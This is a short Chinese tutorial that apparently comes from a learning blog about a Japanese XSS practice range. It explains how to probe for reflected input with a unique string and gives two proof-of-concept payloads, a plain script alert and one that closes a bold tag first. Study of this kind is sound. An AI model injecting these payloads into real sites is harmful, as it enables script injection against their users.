【安全】P 4-5 未过滤的XSS

0X01 实验环境介绍

https://xss-quiz.int21h.jp/

一个日本安全研究员制作的XSS练习靶场。

0X02 html中文标签介绍

标签规定粗体文本。

0X03 探测XSS过程

1、构造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面。
例如：123qweasdzxc
2、使用浏览器审查工具进行代码审查，寻找构造的字符串是否在页面中显示。

0X04 闭合文本标签利用XSS

1、简单Payload:

 <script>alert(document.domain);</script>  

2、闭合标签Payload:

 “</b><script>alert(document.domain);</script>  

-----E-----N-----D-----
😄如有问题，请各位师傅斧正，你的支持是我最大的动力。